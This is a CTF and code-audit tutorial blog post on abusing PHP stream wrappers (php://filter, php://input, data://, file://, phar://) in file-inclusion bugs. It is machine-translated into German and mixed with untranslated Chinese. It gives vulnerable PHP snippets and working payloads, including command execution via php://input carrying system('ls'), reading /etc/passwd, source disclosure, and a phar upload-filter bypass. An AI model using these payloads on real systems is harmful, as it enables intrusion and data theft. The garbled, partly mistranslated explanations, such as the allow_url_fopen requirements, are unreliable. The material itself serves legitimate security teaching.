PHP Code Audit 15 – Einführung in das PHP-Pseudoprotokoll

1. PHP-Pseudoprotokoll

1. Einführung in die Vereinbarung

  • Allow_url_fopen muss aktiviert werden: php://input, php://stdin, php://memory und php://temp
  • Allow_url_fopen: php://filter muss nicht aktiviert werden

php://filter und php://input werden häufig in CTF verwendet

  • php://filter wird zum Lesen oder Schreiben von Daten verwendet.

    • Daten lesen: ?a=php://filter/read=convert.base64-encode/resource=xxx.php
    • Daten schreiben: ?a=php://filter/write=string.rot13/resource=example.txt“, „Hello World“
  • php://input erfordert eine Post-Anfrage zum Senden von Daten. Dabei handelt es sich um einen schreibgeschützten Stream, der auf die Originaldaten der Anfrage zugreifen kann

  • php://output ist ein schreibgeschützter Datenstrom, der es Ihnen ermöglicht, auf die gleiche Weise wie print und echo in den Ausgabepuffer zu schreiben .

2. Anwendungsbeispiel

Beispiel 1: php://filter/read-Anwendung

if(preg_match("/flag/",$file)){
    
    
        die("Not now!");
    }

    include($file);  //next.php
基本情况:对于传入的file参数,使用正则检测‘flag'字符串,并且在注释中指明了一个next.php,因此可以使用php协议绕过正则检测,并读取源码。先看看源码内容,但是读取到的源码是经过base64编码的,需要解码才能查看。
payload: file=php://filter/read=convert.base64-encode/resource=next.php

Beispiel 2: php://input-Anwendung

if (isset($_GET['file'])) {
    
    
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
    
    
        include($_GET["file"]);
    } else {
    
    
        echo "Hacker!!!";
    }
基本情况:使用if判断是否设置了file参数,传入的参数内容前六位等于“PHP//"的情况下执行后续代码。因此可以使用PHP://input传入数据,满足相应检测条件。并且利用文件包含达到RCE的效果
payload: 
		url:http://xx.xxx.xxx.xxx:port/?file=php://input
		post_data: <?php system('ls') ?>

2. DATEN Pseudoprotokoll

1. Einführung in die Vereinbarung

Anforderungen:

  • allow_url_fopen:An
  • allow_url_include:An

Rolle: Seitdem können Datenstrom-Wrapper PHP>=5.2.0verwendet werden , um Daten im entsprechenden Format zu übergeben. data://Kann normalerweise zum Ausführen von PHP-Code verwendet werden.

Einfache Verwendung:

data://text/plain,
data://text/plain;base64,

2. Anwendungsbeispiel

Beispiel 1:

if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    
    
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
}

基本思路:if判断,需要传入文件变量为text,且要求文件内容为I have a dream。此时,就可以使用data协议上传内容(注意基本需求条件:php>5.2.0,all_url_include=on).也可以考虑使用php://input,只要能上传都可以

payload:   ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

注:“SSBoYXZlIGEgZHJlYW0=” 为 “I have a dream”的base64编码

Drittens, Datei-Pseudoprotokoll

1. Einführung in die Vereinbarung

Nutzungsbedingungen:

  • allow_url_fopen:aus an
  • allow_url_include:aus an

Wirkung:

​ Wird für den Zugriff auf das lokale Dateisystem verwendet, das normalerweise zum Lesen lokaler Dateien in CTF verwendet wird und allow_url_fopenvon und nicht betroffen ist allow_url_include.

include(),require(),include_once(),require_once()​Wenn die Parameter .phpDatei ist, wird er dennoch gemäß der PHP-Syntax analysiert, die include()durch die Funktion bestimmt wird.

veranschaulichen:

​Dateisystemfile:// ist der von PHP verwendete Standard-Wrapper und repräsentiert das lokale Dateisystem. Wenn Sie einen relativen Pfad angeben (einen Pfad, der nicht mit /, , \ oder einem Windows-Laufwerksbuchstaben beginnt), basiert der angegebene Pfad auf dem aktuellen Arbeitsverzeichnis. In vielen Fällen das Verzeichnis, in dem sich das Skript befindet, sofern es nicht geändert wird. Bei Verwendung der CLI ist das Verzeichnis standardmäßig das Verzeichnis, in dem das Skript aufgerufen wurde. In einigen Funktionen, wie z. fopen()B. und file_get_contents(), include_path wird optional gesucht, auch als relative Pfade.

Einfache Verwendung:

  • Linux下:?file=file:///etc/passwd
  • Windows下:?file=file:///E:\phpStudy\WWW\code\phpinfo.php

Viertens: Phar-Pseudoprotokoll

1. Einführung in die Vereinbarung

Funktion : Mehrere Dateien können in einem lokalen Ordner klassifiziert oder eine Datei eingeschlossen werden

PHAR-Datei: Eine PHAR-Datei ist ein Verpackungsformat, das die Verteilung von Anwendungen und Bibliotheken ermöglicht, indem die meisten PHP-Dateien und andere Ressourcen, wie zum Beispiel Bilder, in einem einzigen Archiv gebündelt werden. Und alle PHAR-Dateien verwenden .phar als Dateierweiterung, und das Archiv im PHAR-Format muss den von Ihnen selbst geschriebenen PHP-Code verwenden.

Struktur der PHAR-Datei:

  • Stub: Eine PHP-Datei, die das Archiv booten kann. Stubs müssen Anweisungen enthalten __HALT_COMPILER();und der Standard-Stub verfügt über die Möglichkeit, PHAR-Dateien ohne aktivierte PHAR-Erweiterung auszuführen.
  • Manifest, das den Inhalt beschreibt: Das Manifest beschreibt den Inhalt des Archivs. Hier werden Informationen wie die Berechtigungen und Attribute der komprimierten Datei platziert.
  • Dateiinhalt: Die im Archiv enthaltenen Originaldateien, also der Inhalt der komprimierten Dateien.

2. Anwendungsbeispiel

Voraussetzungen für die Schwachstelle:

  • Phar-Datei kann hochgeladen werden
  • Es gibt magische Methoden, die ausgenutzt werden können
  • Die Parameter der Dateioperationsfunktion sind steuerbar

Beispiel 1 : Umgehen von Datei-Upload-Beschränkungen

上传代码:
if(!empty($_FILES["file"]))
{
    
    
    echo $_FILE["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
    
    
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
    
    
        echo "upload failed!";
    }
}
文件包含代码:
 if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70){
    
    
 		echo "<p> error! </p>";
        }else{
    
    
            include($file.'.php');
        }
代码分析:设置了后缀白名单,并且对文件类型进行了检测。只有满足上传要求后才能上传成功。在文件包含代码中,利用黑名单策略限制了http、ftp、data等伪协议的使用。

基本方法:使用phar打包php文件后,改phar文件后缀为jpg进行上传,然后使用phar协议+文件包含来利用漏洞。
上传后使用payload: include.php?file=phar://./upload/cmdt.jpg/cmd.php

5. Referenzartikel

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/126439639